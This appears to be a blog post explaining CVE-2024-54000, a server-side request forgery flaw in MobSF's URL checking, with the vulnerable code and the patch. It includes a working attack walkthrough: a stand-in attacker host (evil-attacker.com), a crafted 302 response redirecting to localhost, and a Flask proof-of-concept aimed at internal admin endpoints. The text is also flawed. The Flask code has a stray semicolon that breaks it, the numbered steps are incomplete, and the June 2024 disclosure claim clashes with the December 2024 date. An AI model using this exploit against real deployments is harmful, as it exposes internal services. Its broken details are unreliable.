Mobile Security Framework (MobSF) is one of the most trusted open-source tools for mobile app security testing. It’s favored by bug bounty hunters, security professionals, and app developers alike for its robust static and dynamic code analysis features.

But even great tools can have security gaps, and in June 2024, a serious vulnerability – CVE-2024-54000 – was disclosed. If you use MobSF before version 3.9.7, your installation might be vulnerable to server-side request forgery (SSRF) via open redirect bypass.

This post explains the vulnerability in plain language, shows how you might exploit it, and suggests ways to fix it.

What is MobSF and What Did CVE-2024-54000 Expose?

MobSF (GitHub) is a framework to test Android and iOS apps for security flaws. During dynamic analysis, the server fetches data from URLs specified in analyzed apps.

The Vulnerable _check_url Method

Internally, MobSF checks URLs referenced by mobile applications (e.g., for asset validation). To do so, it uses Python’s requests.get() function. In versions before 3.9.7, it calls the function with the flag allow_redirects=True. That means:

- If a server responds with a HTTP 302 (found/redirect), MobSF follows it automatically.

Here’s the simplified vulnerable code

import requests

def _check_url(url):
    # Vulnerable: follows redirects
    resp = requests.get(url, allow_redirects=True, timeout=10)
    # further code...

How Does This Open MobSF to SSRF?

An attacker could exploit this SSRF vulnerability by hosting a crafted .well-known/assetlinks.json endpoint. When MobSF tries to verify this file, your malicious endpoint sends a 302 redirect to another internal resource:

- Example: /admin/ or http://localhost:800/secret

MobSF follows the redirect because of allow_redirects=True. This could expose sensitive internal resources or even let attackers interact with the admin interfaces (local or cloud).

Even more dangerous: This issue is a bypass of a previous fix for CVE-2024-29190, showing how quick workarounds can often be evaded.

`

https://evil-attacker.com/.well-known/assetlinks.json

`http

HTTP/1.1 302 Found
Location: http://localhost:800/internal-api
Content-Type: application/json

Trigger MobSF to Parse the File

Submit an APK or manifest specifying the location of the assetlinks file as the attacker's controlled URL.

MobSF Requests the URL

Because it has allow_redirects=True, MobSF's analysis backend follows the redirect and fetches /internal-api on the local server.

4. Access Internal/Internal-Only Data

You receive information from the protected/local-only resource delivered to your attacker’s infrastructure, or you use MobSF as a proxy for further attacks.

Here’s an example snippet using Flask to launch the attack

# Run with: flask run --host=...
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/.well-known/assetlinks.json')
def assetlinks():
    return redirect('http://localhost:800/admin';, code=302)  # Or any internal endpoint

# In features of the analyzed app, refer or force MobSF to check this malicious URL.

Fix: How Did MobSF Patch It?

The MobSF team fixed this in version 3.9.7 by not allowing redirects in the _check_url() function. This is the correct way to prevent SSRF in such cases.

The Secure Fix

import requests

def _check_url(url):
    # PATCHED: does not follow redirects
    resp = requests.get(url, allow_redirects=False, timeout=10)
    # further code...

References

- MobSF GitHub Security Advisory: CVE-2024-54000
- Linked MobSF Patch Release
- Requests Allow Redirects Docs

Final Words

Even open-source tools built for security can fall to web application classics like SSRF and open redirects. This specific flow in MobSF highlights how a tiny code flag change (allow_redirects=True → False) can have big security consequences.

If you use MobSF for testing or CI pipelines, patch now!

---
Found this useful or have follow-up questions? Open a discussion on MobSF’s GitHub!

Timeline

Published on: 12/03/2024 16:15:24 UTC